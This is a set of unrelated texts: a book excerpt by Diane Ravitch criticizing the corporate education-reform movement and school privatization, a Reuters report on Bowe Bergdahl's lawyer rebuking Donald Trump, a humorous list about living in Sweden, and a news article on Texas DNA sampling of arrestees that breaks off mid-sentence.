results in state after state show that the public does not want to subsidize religious schools with its tax dollars. Voucher advocates do not accept that the public likes and supports its community public schools, free from any religious teachings, with doors open to all.  President Ronald Reagan, an admirer of Milton Friedman’s, supported vouchers but was never able to persuade Congress to go along. In state referenda, the public has consistently opposed vouchers. Every time vouchers were put to a public vote, they were defeated by large margins. As recently as 2012, voters in Florida decisively rejected a constitutional amendment to permit vouchers. Voucher proponents complain that the public doesn’t understand its own best interest and is misled by teachers’ unions, who are just protecting their jobs and power. The election results in state after state show that the public does not want to subsidize religious schools with its tax dollars. Voucher advocates do not accept that the public likes and supports its community public schools, free from any religious teachings, with doors open to all. So choice supporters continually parrot or manufacture a steady stream of bad news about public education to shake the public’s faith in public schools. However, even when polls show that people have a low opinion of American education, they nonetheless continue to have a high opinion of their own neighborhood schools.  Today’s reformers assert that “the money should follow the child” and they herald this as a bold new reform idea. But it is not new. It is the same idea that was behind vouchers more than half a century ago. Today, the same arguments are made by Governor Bobby Jindal in Louisiana, who wants the money to follow the child to any school (even schools that teach creationism as science), any online corporation, any for- profit vendor of educational services, regardless of experience, quality or qualifications. As public money is dispersed, so is public oversight and accountability for the spending of public money. Governor Rick Snyder of Michigan, eager to dismantle public education, proposed a formula for education funding based on this principle: “Any time, any place, any way, any pace.” Conservative governors in other states make the same arguments. [1] But there is nothing conservative about replacing a beloved and traditional community institution — the public school — with a marketplace of privately run schools and for- profit vendors. This is a radical project, not conservative at all.  The organizations that advocate for “reform” have names that are appealing and innocuous, like the American Federation for Children, the American Legislative Exchange Council (ALEC), Better Education for Kids (B4K), Black Alliance for Educational Options, the education program at the Brookings Institution, the Center for Education Reform, Chiefs for Change, ConnCAN (and its spin- off, 50CAN, as well as state- specific groups like MinnCAN, NYCAN and RI- CAN), Democrats for Education Reform, the Education Equality Project, Education Reform Now, Educators 4 Excellence, EdVoice, the Foundation for Excellence in Education, the National Council on Teacher Quality, New Leaders for New Schools, NewSchools Venture Fund, Parent Revolution, Stand for Children, Students for Education Reform, StudentsFirst, Teach for America, Teach Plus and a host of others. Many of these groups have overlapping membership on their boards and are funded by the same foundations. They exist in a giant echo chamber, listening and talking only to one another, dismissing the concerns of parents, teachers and communities.  The reformers are Republicans and Democrats. They include not only far- right Republican governors but some Democratic governors as well.  The reformers are Republicans and Democrats. They include not only far- right Republican governors but some Democratic governors as well. They include President Barack Obama and Secretary Arne Duncan, as well as Democratic mayors in such cities as Newark, Chicago and Los Angeles. Elected officials of both parties have signed on to an agenda that threatens the future of public education.  The aims of the corporate reform movement are supported by a broad array of think tanks, some purportedly liberal, some centrist, some on the right and some on the far right. These include the American Enterprise Institute, the Center for American Progress, the Center on Reinventing Public Education, Education Sector, the Thomas B.  Fordham Institute, the Friedman Foundation for Educational Choice, the Goldwater Institute, the Heartland Institute, the Heritage Foundation, the Koret Task Force at the Hoover Institution and Policy Innovators in Education Network, as well as a bevy of state- level public policy think tanks that support privatization. Many of these think tanks — both liberal and conservative — work closely together, co- sponsoring conferences and publications to advance their shared agenda. Major foundations handsomely fund the think tanks that promote the corporate reform ideology.  The corporate reform movement has co- opted progressive themes and language in the service of radical purposes. Advocating the privatization of public education is deeply reactionary. Disabling or eliminating teachers’ unions removes the strongest voice in each state to advocate for public education and to fight crippling budget cuts. In every state, classroom teachers are experts in education; they know what their students need and their collective voice should be part of any public decision about school improvement. Stripping teachers of their job protections limits academic freedom. Evaluating teachers by the test scores of their students undermines professionalism and encourages teaching to the test. Claiming to be in the forefront of a civil rights movement while ignoring poverty and segregation is reactionary and duplicitous.  The leading funders of the reform movement are the Bill & Melinda Gates Foundation, which supports charter schools and test- based teacher evaluation; the Eli and Edythe Broad Foundation, which supports charter schools and trains urban superintendents in its managerial philosophy; and the Walton Family Foundation, which funds vouchers and charters.  The leading funders of the reform movement are the Bill & Melinda Gates Foundation, which supports charter schools and test- based teacher evaluation; the Eli and Edythe Broad Foundation, which supports charter schools and trains urban superintendents in its managerial philosophy; and the Walton Family Foundation, which funds vouchers and charters. These powerful and wealthy foundations have overlapping interests. They subsidize many organizations in common, such as Teach for America (which recruits young college graduates to teach for two years in low- income schools), the KIPP charter schools and Parent Revolution (the chief advocates of the “parent trigger” idea). They jointly funded the digital learning policy statement issued by Jeb Bush, former governor of Florida and Bob Wise, former governor of West Virginia, which promotes the proliferation of low- quality virtual charter schools. Many other wealthy foundations support the corporate reform agenda, including the Laura and John Arnold Foundation, the Michael & Susan Dell Foundation, the Bradley Foundation, the Robertson Foundation, the Fisher Foundation and the Anschutz Foundation, as well as fabulously rich individuals, including the Bezos family (Amazon.com), Reed Hastings (Netflix) and Rupert Murdoch (News Corporation).  The Gates Foundation is by far the largest foundation in the United States and possibly the world. It awards hundreds of millions of dollars in education grants every year. In addition to underwriting the expansion of charter schools, it invests heavily in test- based evaluation of teachers and merit pay. It has made grants to the biggest teachers’ unions, the American Federation of Teachers and the National Education Association and also made grants to start groups of young teachers to challenge the teachers’ unions. It is difficult to find education organizations that have not been funded by the Gates Foundation. It underwrites “advocacy,” by subsidizing almost every major think tank in Washington, D.C. It supported the creation, evaluation and promotion of the Common Core State Standards, which have been adopted in almost every state. In addition, the Gates Foundation has joined in a partnership with the British publisher Pearson to develop online curriculum for teaching the Common Core standards. And the Gates Foundation underwrote the creation of a large database project to collect confidential student data with Wireless Generation, a subsidiary of Rupert Murdoch’s News Corporation; critics fear that this information will be disclosed to vendors to market new products to schools and students.[2]  The corporate reform movement has a well- honed message: We are the reformers. We have solutions. The public schools are failing. The public schools are in decline. The public schools don’t work. The public schools are obsolete and broken.  The corporate reform movement has a well- honed message: We are the reformers. We have solutions. The public schools are failing. The public schools are in decline. The public schools don’t work. The public schools are obsolete and broken. We want to innovate. We know how to fix schools. We know how to close the achievement gap. We are leading the civil rights movement of our era. We want a great teacher in every classroom. Class size doesn’t matter. Teachers should be paid more if their students get higher scores. They should be fi red if their students don’t get higher scores. Teachers should have their seniority and tenure stripped from them because those things protect bad teachers. Bad teachers cause the achievement gap. Great teachers close the achievement gap. Teachers’ unions are greedy and don’t care about children. People who draw attention to poverty are just making excuses for bad teachers and failing public schools. Those who don’t agree with our strategies are defenders of the status quo. They have no solutions. We have solutions. We know what works. Testing works. Accountability works. Privately managed charter schools work. Closing schools with low test scores works. Paying bonuses to teachers to get higher scores works. Online instruction works. Replacing teachers with online instruction not only works but cuts costs while providing profits to edu-entrepreneurs who will spur further innovation.  It is a seductive message because it offers hope that someone knows how to fix difficult problems. They claim they not only know how to do it but are doing it. They express their message with clarity and certainty. Their message resonates with the major media and with the most powerful people in our society: billionaires, corporate executives, the leaders of major foundations, the president of the United States, the US secretary of education, Wall Street hedge fund managers, pundits and think tank opinion makers.  The corporate reformers don’t like local school boards, because they sometimes defer to the views of teachers and they squabble too much; school boards, they say, slow down decision making with public hearings and sometimes they make the wrong decisions. That is always a risk in a democracy; deliberative bodies are slow and sometimes make mistakes.  Corporate reformers want education decisions in the hands of a powerful executive who is immune to public opinion. They like the idea of a governor who appoints a commission to override the decisions of local school boards that resist charter schools.  Corporate reformers want education decisions in the hands of a powerful executive who is immune to public opinion. They like the idea of a governor who appoints a commission to override the decisions of local school boards that resist charter schools. They like the idea of a superintendent at the state level who has unlimited power to impose his (their) policies, especially closing public schools and opening charter schools. In urban districts, their preferred mode of governance is a mayor or superintendent who controls the schools and answers to no one. At the school level, they want principals who can hire and fire at will, without due process. Corporate reformers don’t like checks and balances. They want executives who can ignore the protests of parents, students, teachers and community leaders, no matter how loudly they complain and no matter how many show up at public hearings or protest at rallies.  It pays to be on the reform team, certainly much more than it does to be a public school teacher. When Chicago’s teachers went on strike in September 2012, the national media thought it shocking that the average Chicago teacher was paid $75,000 a year; they ignored the fact that Chicago teachers are compelled by law to live in Chicago and that this is not an outrageous salary for an educated, experienced professional who lives in a major city. Yet the media are indifferent when charter executives receive salaries of $300,000, $400,000, $500,000, to oversee a single school or a chain of small schools. The reformers are flush with cash from foundations and corporations. The Walton Family Foundation alone made school- reform grants of $159 million in 2011. Reformers often complain about the power and influence of the teachers’ unions, but the unions cannot match the resources of the Gates Foundation and the Walton Family Foundation, as well as the many other foundations that march in lockstep with them, plus individual billionaires and millionaires who support candidates for state and local school board races. (The Gates and Walton foundations alone spend more than $500 million annually on education projects, which is more than ten times what unions spend to support civil rights groups and other allies.) When you combine the wealth of the big foundations with the financial and political clout of the US Department of Education, they are a mighty force.[3] The “reformers” are the status quo.  For an ambitious person, being part of the corporate reform movement offers not only access to money but an accelerated route to professional success.  For an ambitious person, being part of the corporate reform movement offers not only access to money but an accelerated route to professional success. Graduates of the Broad Superintendents Academy, an unaccredited program created by the Broad Foundation to teach Eli Broad’s management style of corporate reform, are on a fast track to become superintendents of urban districts — and the Broad Foundation may enhance their salaries. Some of the graduates of this short- term program are now state superintendents. Many are in charge of urban districts.  The young person who joins up with Teach for America or one of the big charter chains becomes part of a powerful network. These organizations provide an escalator to the top that no ordinary teaching career can match. Teachers without these connections may work for years in their classrooms before they are even considered for department chair or assistant principal. Those who rise in the corporate reform movement are soon managing their own charter schools or assuming leadership roles in large urban districts or state education departments, some before they reach the age of 30.  Wall Street hedge fund managers have their own organization, called Democrats for Education Reform (DFER). DFER raises money for candidates and elected officials whom it likes and it doesn’t like them unless they agree to the corporate reform agenda, especially the expansion of charter schools and the imposition of teacher evaluation systems based on test scores (though not for teachers in the charter schools it supports). At the inaugural meeting of DFER in 2005, the speaker for the event was a promising young senator from Illinois, Barack Obama. When Obama ran for president in 2008, his chief education spokesperson was Linda Darling- Hammond of Stanford University. But when Obama was elected, he chose Arne Duncan as secretary of education. Duncan not only was his friend but was recommended by DFER. [4]  In states with a Republican governor and a Republican supermajority in the legislature, the measures to privatize education advanced rapidly.  Arne Duncan is one of the recognized leaders of the corporate reform movement who implemented many of its ideas when he was superintendent of schools in Chicago. Jeb Bush, former governor of Florida, is another national leader. He created an organization called the Foundation for Excellence in Education, which actively promotes vouchers, charter schools, for- profit charter schools, virtual learning and for- profit online corporations, as well as testing and accountability tied to test scores. In states with a Republican governor and a Republican supermajority in the legislature, the measures to privatize education advanced rapidly. In Michigan, Governor Rick Snyder promoted legislation to allow emergency managers to take over fiscally troubled districts; in two small school districts, the emergency managers closed the public schools and gave the students to a for- profit charter school chain (the law was repealed in 2012 by Michigan voters, but Snyder left the emergency managers and their decisions in place). Governor Mitch Daniels and the Indiana legislature authorized vouchers, for- profit charter schools, for- profit cyber- charters and a test- based teacher accountability system. Governor Bobby Jindal of Louisiana pushed through sweeping legislation in 2012 that offered vouchers to more than half the students in the state and authorized the opening of many new charter schools; in addition, students will be able to take their state money and spend it in almost any place that calls itself a vendor of educational services. The money to support the alternatives to public education was to be taken out of the budget for public schools, until state courts ruled it unconstitutional to do so. The Louisiana reform legislation ties teachers’ evaluations to the test scores of their students, but teachers in charter schools and voucher schools do not need to be certified or subject to the same requirements, as is the case in many other states and districts.  When the Louisiana legislation was hurriedly passed, it was hailed by a group of state superintendents called Chiefs for Change as “student- centered reforms” that “will completely transform Louisiana and its students.” [5] Chiefs for Change is affiliated with Jeb Bush’s Foundation for Excellence in Education. It describes itself as a coalition of state leaders who share a “zeal for education reform.” Its members include the state superintendents in Rhode Island, Indiana, Louisiana, Oklahoma, Tennessee, Florida, Maine, New Jersey and New Mexico.  Much of the legislation for the education reform movement in states with conservative governors or legislatures comes from a shadowy group called ALEC (the American Legislative Exchange Council).  Much of the legislation for the education reform movement in states with conservative governors or legislatures comes from a shadowy group called ALEC (the American Legislative Exchange Council). ALEC stayed out of the public eye until 2012, when a shooting in Florida brought it unwanted national attention. A black teenager named Trayvon Martin was killed by a man who said he was defending himself in accordance with Florida’s “stand your ground” law, which was based on model legislation written by ALEC. ALEC was founded in 1973 to advance privatization and free- market principles. Its membership includes some 2,000 state legislators. Funded by scores of major corporations and philanthropists, ALEC writes model legislation, which its members bring to their state legislatures. Many states have adopted ALEC model laws, simply inserting the name of the state into the proposed legislative language. ALEC does not like public schools or unions. ALEC likes vouchers and charter schools. It wants to eliminate tenure and seniority and to encourage paths into teaching that don’t involve getting a license or pedagogical training. ALEC likes for- profit schools, especially cyber- charters. It promotes “parent trigger” laws to enable privatizers to convince parents to sign petitions that will turn their schools over to charter managers. [6]  The most unexpected supporter of corporate reform was President Barack Obama. Educators enthusiastically supported Obama, expecting that he would eliminate the noxious policies of President Bush’s No Child Left Behind. They assumed, given his history as a community organizer and his sympathy for society’s least fortunate, that his administration would adopt policies that responded to the needs of children, rather than concentrating on testing and accountability.  The first big surprise for educators occurred when President Obama abandoned Linda Darling-Hammond and selected Arne Duncan, who had run the low- performing schools of Chicago, as secretary of education. The second big surprise — shock, actually — happened when the Obama administration released the details of Race to the Top, its major initiative, which was designed in Secretary Duncan’s office with the help of consultants from the Gates Foundation, the Broad Foundation and other advocates of high- stakes testing and charter schools.  The most unexpected supporter of corporate reform was President Barack Obama. Educators enthusiastically supported Obama, expecting that he would eliminate the noxious policies of President Bush’s No Child Left Behind.  There was very little difference between Race to the Top and NCLB. The Obama program preserved testing, accountability and choice at the center of the federal agenda. Race to the Top was even more punitive than NCLB. It insisted that states evaluate teachers in relation to the test scores of their students, which made standardized testing even more important than it was under NCLB. It encouraged states to authorize more privately managed charter schools, an initiative that President George W. Bush would never have been able to get through a Democratic- controlled Congress. It endorsed competition and choice, which were traditional themes of the Republican Party. The very concept of a “race to the top” repudiates the traditional Democratic Party commitment to equity; it suggests that the winner will “race to the top,” leaving the losers far behind. But a commitment to equity means that federal resources should be allocated based on need, not on a competition between the swift and the slow.  Because Race to the Top was handsomely funded, states eagerly competed for a share of its $5 billion. President Obama spoke out of both sides of his mouth about this signature program. He said in his State of the Union address in 2011 that Race to the Top was not a topdown mandate (after all, states had volunteered to accept its mandates) but “the work of local teachers and principals; school boards and communities” (which was not true in any sense).  Even though Race to the Top made standardized testing more important than ever, President Obama spoke out against testing. In 2011, he said he was strongly opposed to teaching to the test. He said,  One thing I never want to see happen is schools that are just teaching to the test. Because then you’re not learning about the world; you’re not learning about different cultures, you’re not learning about science, you’re not learning about math. All you’re learning about is how to fill out a little bubble on an exam and the little tricks that you need to do in order to take a test. And that’s not going to make education interesting to you. And young people do well in stuff that they’re interested in. They’re not going to do as well if it’s boring.  His critics agreed with him. The California teacher and blogger Anthony Cody wondered if the president knew that Race to the Top required states to tie teacher evaluations to test scores, that Secretary Duncan wanted to evaluate teacher preparation programs by the test scores of the students of the teachers they produced and that Obama’s Department of Education “is proposing greatly expanding both the number of subjects tested and the frequency of tests, to enable us to measure the ‘value’ each teacher adds to their students.” At the same time that the president was lamenting “teaching to the test,” his own policies made it necessary to teach to the test or be fired. [7]  In his 2012 State of the Union, the president’s message was even more inconsistent. He said that he wanted schools to encourage teachers to “teach with creativity and passion; to stop teaching to the test,” but at the same time he wanted schools to “reward the best ones” and “replace teachers who just aren’t helping kids learn.” He didn’t acknowledge that the rewards and the punishments he approved would be tied, at his administration’s insistence, to test scores.  In response to Race to the Top, the number of charter schools grew rapidly. For-profit charter schools expanded, as did virtual charter schools. Neither President Obama nor Secretary Duncan expressed any concern about the risks of deregulating public money to private corporations, nor did they oppose the entry of for-profit entrepreneurs into the charter school market. By advocating for school choice rather than public schools, Race to the Top implicitly encouraged not only charters but the other form of school choice: vouchers.  The 2010 elections brought a new crop of far-right governors into office and these governors warmly embraced charter schools and advocated for vouchers. The Obama administration was silent; after a brief attempt to defund the Washington, DC, voucher program, the administration gave in to Republican protests and permitted it to continue.  The 2010 elections brought a new crop of far-right governors into office and these governors warmly embraced charter schools and advocated for vouchers. The Obama administration was silent; after a brief attempt to defund the Washington, DC, voucher program, the administration gave in to Republican protests and permitted it to continue. As state after state adopted vouchers, the Obama administration raised no protest against the advance of privatization. Nor did Obama strongly object when the governors of Republican states attacked the collective bargaining rights of public- sector unions. In the spring of 2011, Wisconsin’s right- wing governor, Scott Walker, proposed to strip away the collective bargaining rights of most public sector workers, including teachers and they organized massive protests in Madison. They surrounded the state capitol and mounted daily protests. President Obama said he sided with the workers but didn’t show up in Madison to demonstrate his support. Instead, he and Secretary Duncan flew to Miami in the middle of the Wisconsin protests to praise the former Florida governor Jeb Bush as “a champion of education reform” and to celebrate the successful “turnaround” of Miami Central High School. The national media recognized that President Obama was bestowing important support on Jeb Bush’s policies of testing, accountability and grading of schools. The national media did not pay attention, however, when the Florida Department of Education announced plans to shutter Miami Central because of its low performance only four months after the meeting between President Obama and Governor Bush. The state granted the school a waiver to avoid closure. Despite some gains, it was still one of the state’s lowest-performing high schools.[8]  In his support for charter schools, high- stakes testing, merit pay and evaluating teachers by test scores, President Obama forged a bipartisan consensus. But he had strange bedfellows, at least for a Democrat. When I blogged about ALEC and its right- wing agenda for privatization and lowering standards for entry into teaching, the organization’s research director responded that President Obama shared credit with ALEC for promoting charter schools and “teaching- profession reforms.” During the 2012 election campaign, the only difference between Obama and Mitt Romney in relation to their K– 12 policy was that Romney supported vouchers (which he called “opportunity scholarships”) and Obama did not.[9]  During the 2012 election campaign, the only difference between Obama and Mitt Romney in relation to their K–12 policy was that Romney supported vouchers (which he called “opportunity scholarships”) and Obama did not.  Neither candidate in the 2012 election supported public education. Both agreed that it was in crisis and that it needed radical change. In their debates, the subject of poverty never came up. Indeed, the subject of education was barely mentioned aside from the candidates’ agreement that Race to the Top was a great success.  The public is only dimly aware of the reform movement’s privatization agenda. The deceptive rhetoric of the privatization movement masks its underlying goal to replace public education with a system in which public funds are withdrawn from public oversight to subsidize privately managed charter schools, voucher schools, online academies, for- profit schools, and other private vendors.  No matter how many Hollywood movies the corporate reformers produce, no matter how many television specials sing the glories of privatization, no matter how often the reformers belittle the public schools and their teachers, the public is not yet ready to relinquish its public schools to speculators, entrepreneurs, ideologues, snake- oil salesmen, profit- making businesses and Wall Street hedge fund managers.  1. Rick Snyder, “A Special Message from Rick Snyder: Education Reform” (memorandum), April 27, 2011.  2. Sam Dillon, “Behind Grass-Roots School Advocacy, Bill Gates,” The New York Times, May 21, 2011; Sam Dillon, “Foundations Join to Offer Online Courses for Schools,” The New York Times, April 27, 2011; Stephanie Simon, “K– 12 Student Database Jazzes Tech Startups, Spooks Parents,” Reuters, March 3, 2013.  3. The National Education Association and the American Federation of Teachers together gave a total of $330 million to political campaigns and civil rights groups over a six- year period from 2005 to 2011. Alicia Mundy, “Teachers Unions Give Broadly,” The Wall Street Journal, July 12, 2012. During the same period of time, the major foundations supporting test — based accountability and choice spent many times that amount. Gates spends $300 — $400 million each year on education. Ken Libby, “A Look at the Education Programs of the Gates Foundation,” Shanker Blog, March 2, 2012. In 2011, the Walton Family Foundation spent $159 million on education grants. These figures do not include political contributions made by either Gates or the Walton family.  4. Steven Brill, Class Warfare: Inside the Fight to Fix America’s Schools (New York: Simon & Schuster, 2011), 131– 32, 224– 25.  5.“Chiefs for Change Statement on Louisiana’s Bold Education Reforms,” Foundation for Excellence in Education website, April 18, 2012.  6. Andrew Ujifusa, “Policy Shop Casts Long K– 12 Shadow,” Education Week, April 25, 2012.  7. Julie Underwood and Julie F. Mead, “A Smart ALEC Threatens Public Education,” Education Week, February 29, 2012.  8. Anthony Cody, “Obama Blasts His Own Education Policies,” Living in Dialogue (blog), Education Week, March 29, 2011; Sunlen Miller, “Obama on Wisconsin Budget Protests: ‘An Assault on Unions,’ “ABC News, February 17, 2011; Nia- Malika Henderson and Peter Wallsten, “Obama Praises Jeb Bush on Education Reform,” The Washington Post, March 4, 2011; “Struggling Florida Schools Get More Time,” WCTV, July 19, 2011.  9. Adam Peshek, “ALEC Responds to Ravitch Blog Post,” Education Week, May 15, 2012. Reign of Error by Diane Ravitch Copyright © 2013 by Diane Ravitch. Excerpted by permission of Knopf, a division of Random House LLC. All rights reserved. No part of this excerpt may be reproduced or reprinted without permission in writing from the publisher.
-SAN ANTONIO (Reuters) - The lawyer for U.S. Army Sergeant Bowe Bergdahl, the former Taliban prisoner in Afghanistan charged with desertion, on Thursday chastised U.S. Republican presidential candidate Donald Trump for calling his client a “traitor.”  U.S. Army Sergeant Bowe Berghdal is pictured in this undated handout photo provided by the U.S. Army and received by Reuters on May 31, 2014. REUTERS/U.S. Army/Handout via Reuters  “Sergeant Bergdahl is not charged with treason or anything like it,” attorney Eugene Fidell said in a statement.  “I condemn Mr. Trump’s reckless disregard for the truth. He should be ashamed of himself.”  In a town hall meeting in New Hampshire on Wednesday, Trump called Bergdahl a “dirty, rotten traitor” and criticized the Obama administration for the deal that freed the soldier in a prisoner swap with the Taliban. Many prominent Republicans have called the deal irresponsible.  Trump is leading the polls among the 17 Republican candidates seeking the party’s presidential nomination for the November 2016 election.  Bergdahl, who was released in 2014 after spending about five years as a prisoner of the Taliban in Afghanistan, is now stationed with Army North at Fort Sam Houston in San Antonio, while he awaits court martial on charges of desertion and misbehavior before the enemy.  Fidell also rejected comments made by Trump and others that as many as five U.S. soldiers died searching for Bergdahl after he walked away from his forward operating position in Afghanistan in 2009.  “The Army’s prosecutors, who have the vast resources of the government at their disposal, have informed us that they will not be offering evidence that anyone died searching for my client,” he said.  “Mr. Trump must stop vilifying this young man, who suffered five years of brutal captivity at the hands of the Taliban, and deserves to be judged on the basis of evidence rather than slander from someone who has never worn our country’s uniform,” he said.  Bergdahl is scheduled to appear at an Article 32 hearing, the Uniform Code of Military Justice equivalent of a grand jury, at Fort Sam Houston next month.  Bergdahl was charged in March with desertion and misbehavior before the enemy, and could be sentenced to life in prison if convicted of the most serious count.
-Research Miscellaneous  You know you’ve been in Sweden too long, when... It's acceptable to eat lunch at 11.00. You think Leif 'Loket' Olsson is entertaining. You rummage through your plastic bag collection to see which ones you should keep to take to the store and which can be sacrificed to garbage. You associate pea soup with Thursday. The first thing you do on entering a bank/post office/pharmacy etc. is look for the queue number machine. You accept that you will have to queue to take a queue number. A sharp intake of breath has become part of your vocabulary, as has the sound 'ahh'. You associate Friday afternoon with a trip to system bolaget. You think nothing of paying $50 for a bottle of 'cheap' spirits at system bolaget. Silence is fun. Your native language has seriously deteriorated; you begin to "eat medicine" and "hire videos". Your front door step is beginning to resemble a shoe shop. When a stranger on the street smiles at you, you assume that:  a. he is drunk;  b. he is insane;  c. he is American;  d. he is all of the above. You stay home on Saturday night to watch Bingolotto. It seems sensible that the age limit at Stockholm night clubs is 23 or 25. The reason you take the ferry to Finland is:  a. duty free vodka  b. duty free beer  c. to party The only reason for getting of the boat in Helsinki is to eat pizza. It no longer seems excessive to spend $200 on alcohol in a single night. The fact that all of the "v's" and the "w's" are together in the phone directory seems right. You care who wins 'Expedition: Robinson'. Your old habit of being "fashionably late" is no longer acceptable. You are always on time. You no longer see any problem wearing white socks with loafers. You know that "religious holiday" means "let's get pissed." You are no longer scared of volvos and volvo drivers. You have your own innebandy club. You enjoy the taste of surstr�mming. You find yourself debating the politics of Carl Bildt. You use mmmm as a conversation filler. An outside temperature of 9 degrees Celsius is mild. When someone asks for "three cheers", you say "hoorah, hoorah, hoorah, hoorah". You wear sandals with socks. You eat jam with savoury dishes. You have only two facial expressions, smiling or blank. You think riding a racing bike in the snow is a perfectly sensible thing to do. You think it's more fun to stay at home and drink then go out. You wear warm clothing when it's 25 degrees plus in April - because it's April. You wear shorts and t-shirt when it's barely 10 degrees in July - because it's July. You get extremely annoyed when the bus is two minutes late. You think women are more than equal than men and deserve to have better positions in the work place. Your wife watches TV while you look after the kids. You become a punctuality freak and dump your friends for being late more than once. You spend the week's entertainment budget on a pack of cigarettes and a drink in Gamla Stan. When a stranger asks you a question in the streets, you think it's normal to just keep walking, saying nothing. You've been engaged for four years and don't have any plans to get married. Americans start to look entertaining, witty and fun, and you just want to go to the U.S.A., travelling across country on a greyhound, because it's "romantic." You and your friends know exactly the same information, and have the same attitudes and beliefs in the value of Social Democracy. You lose any artistic talent whatsoever. You think that if you smoke a joint you will wind up in an insane asylum. [or become a habitual criminal] You seriously contemplate getting into S & M. You wear a dress or skirt over your trousers and combine them with training shoes. [this is especially problematic if you're male] You jot down 'fisk fingrar' on your shopping list. You no longer look for Vegemite on supermarket shelves, even if it's your first time in that particular store. You think black rimmed glasses are cool. Your wardrobe now consists of 20 different shades of black and grey. You get excited watching a bunch of lame 'celebrities' on a fortress island playing games that are about as intelligent as mud-wrestling. You look forward to the next program about practical jokes done on lame celebrities/has-beens by other lame celebrities who don't really deserve air time. It doesn't feel like lunch unless it's a hot, full course meal drenched in gravy. You eat unlimited amounts of sausage products without worrying about your nitrate intake. You think that an unripe wedge of tomato on a limp leaf of iceberg lettuce can be called a salad. You don't question the concept of 'telephone time'. It seems reasonable that no business can be conducted on Friday afternoons. [or the entire month of July] You assume that anyone who apologises after bumping into you is a tourist. You think it is normal that a huge restaurant has a smoking section which consists of three tables near the door. You reach for your pocket 20 times a day as mobile phones ring all around you. You actually care if your mobile phone meets the fashion standard - and so do your new Swedish friends! It seems reasonable that even those asking you for money at T-centralen reach for their pocket as the melodic music of the Swedish mobile phone resounds. You get into a Mercedes taxi cab and think nothing of it. Paying $5 for a cup of coffee seems reasonable. You understand that when a colleague asks you out for "a drink," it will probably be a long night with a severe hangover the next day. You start to think that having a sauna in the nude with a bunch of strangers is a necessary part of daily life ... and a necessary part of business. You believe that when you finally win your Nobel Prize, it is best to be modest and say "Oh really, it was nothing!" You get offended if, at a dinner party, someone fails to look you in the eyes after raising their glass for a toast. Seeing a young woman with lit candles stuck to her head no longer disturbs you. You become extremely skilled at assembling pre-packaged furniture kits. "Candles" are a permanent fixture on your weekly shopping list. You get to the movies early so that you can watch the commercials. Most of your friends have the same names and you must use both names to distinguish between them. You know you've been in Finland too long, when...
-Texas policy leaves big loophole in criminal DNA testing DNA's net not cast as wide for Texas suspects  State doesn't take samples from all arrestees; foes say it violates privacy  Jennifer Schuett of Dickinson was 8 when Dennis Bradford abducted her from her bedroom in 1990. He raped her and then slit her throat, but she survived. Now 27, she lived to see her attacker arrested, thanks to DNA taken in an Arkansas crime. He later killed himself. less Jennifer Schuett of Dickinson was 8 when Dennis Bradford abducted her from her bedroom in 1990. He raped her and then slit her throat, but she survived. Now 27, she lived to see her attacker arrested, thanks to ... more Photo: Eric Kayne, For The Chronicle Photo: Eric Kayne, For The Chronicle Image 1 of / 1 Caption Close Texas policy leaves big loophole in criminal DNA testing 1 / 1 Back to Gallery  As a growing number of states move to strengthen their DNA databanks, many investigators and crime victims in Texas say dangerous criminals may escape justice here because the state fails to require DNA sampling of most arrestees.  The federal government and at least 20 other states have adopted laws expanding their DNA databanks by taking samples from people arrested. Proponents argue such sampling ought to become as commonplace as taking a footprint of a newborn baby, or no more concerning than taking fingerprints at every booking into jail.  Yet opponents say mandatory DNA sampling of arrestees violates the individual's right to privacy and freedom of unreasonable searches. Complaining that the government is becoming "big brother," civil libertarians predict innocent people will wind up in the nation's DNA databanks.  Also, they say rapid expansion of databanks is costly and creating backlogs of DNA profiling of serious offenders.  Today, DNA profiles are much more respected for forensic identification, said Gary Molina, who manages Texas' databank. Molina said suspicion surrounding the technology 15 years ago — when football star O.J. Simpson's DNA was detected in blood at the murder scene of his estranged wife and her friend — is gone. Simpson won an acquittal after attorneys attacked the DNA lab report.  Texas allows DNA samples taken from arrestees only if they are charged with a sexual offense or burglary — and then only after a grand jury indicts them. If those arrestees haven't been indicted, DNA is taken only if they have a past conviction for a similar offense.  "I thank God that Louisiana has a law that requires sampling of most arrestees," said Monetta Escamilla, who believes her long wait for justice in the killing and sexual assault of her 13-year-old daughter, Krystal Baker, soon will come to an end.  Kevin Edison Smith, 45, was arrested Sept. 22 while working as a contract welder at the Motiva Refinery in Port Arthur. He has been charged with killing the teen after abducting her in 1996 as she walked to a friend's home in Texas City. Baker was strangled and found dead under a bridge over the Trinity River in Chambers County.  Louisiana among first  While Escamilla's hope at catching the killer had dried up along with all the leads, a break in her daughter's case came after Smith was stopped this year for driving erratically in Livonia, La. A large stash of hydrocodone was found in his vehicle, and he was arrested for possession with intent to distribute — and thus his DNA was sampled.  It was submitted to the FBI's national databank and came back as a match to a semen specimen on Baker's dress. Smith would not have qualified for DNA sampling in Texas based on his arrest.  Livonia Police Chief Brad Joffrion praises Louisiana for being one of the first states to pass legislation seven years ago that required DNA sampling of anyone arrested for a felony as well as a few misdemeanors such as stalking.  "We started doing this after catching a serial killer so it wouldn't take so long to make an arrest," Joffrion said.  Col. Mike Edmonson, Louisiana's public safety department superintendent, said: "The vast majority of crimes are done by repeat offenders. Why not cast a bigger net?"  Databases have restricted access and procedures for expunging samples of anyone acquitted.  Since arrestees were added to the pool, the vast majority of Louisiana's "hits" or matches to crime scenes have come from arrestees. So far this year, 406 of the hits were arrestees while only 158 were convicted felons.  Virginia's law requiring sampling of arrestees for violent offenses and burglary was adopted in 2003, and its constitutionality was challenged.  "But our courts upheld the law. Public safety trumped privacy rights," said Pete Marone, head of Virginia's department of forensic science. In the past seven years, records show 11 percent of Virigina's nearly 6,000 hits have come from arrestees.  The American Civil Liberties Union remains opposed to inclusion of arrestees.  "Anyone wrongfully arrested becomes part of a permanent criminal database. Someone arrested for a misdemeanor might become a suspect for life," Caroline Frederickson, the ACLU Washington legislative office's director, said on the group's website.  Expansion in Texas?  Texas state Rep. Allen Vaught, D-Dallas, spearheaded expanding DNA sampling this year to adults and juveniles given probation or deferred adjudication for felony convictions. The state's database already includes all sex offenders and felons sent to prison or the Texas Youth Commission.  Asked why more arrestees are not sampled, Vaught said: "I wanted to do it, but we couldn't get the votes. It came down to cost."  The Legislative Budget Board projected that just adding people on probation would cost $2.4 million this year, which lawmakers hope to defray by charging each criminal a processing fee of up to $50 that would raise $1.7 million. He plans to push next session for not only arrestees, but serious misdemeanor offenders to be included.  Many crime victims such as 27-year-old Jennifer Schuett will join him in urging the expansion of DNA sampling.  Schuett was abducted from her Dickinson bedroom at age 8, raped, her throat slashed and then left 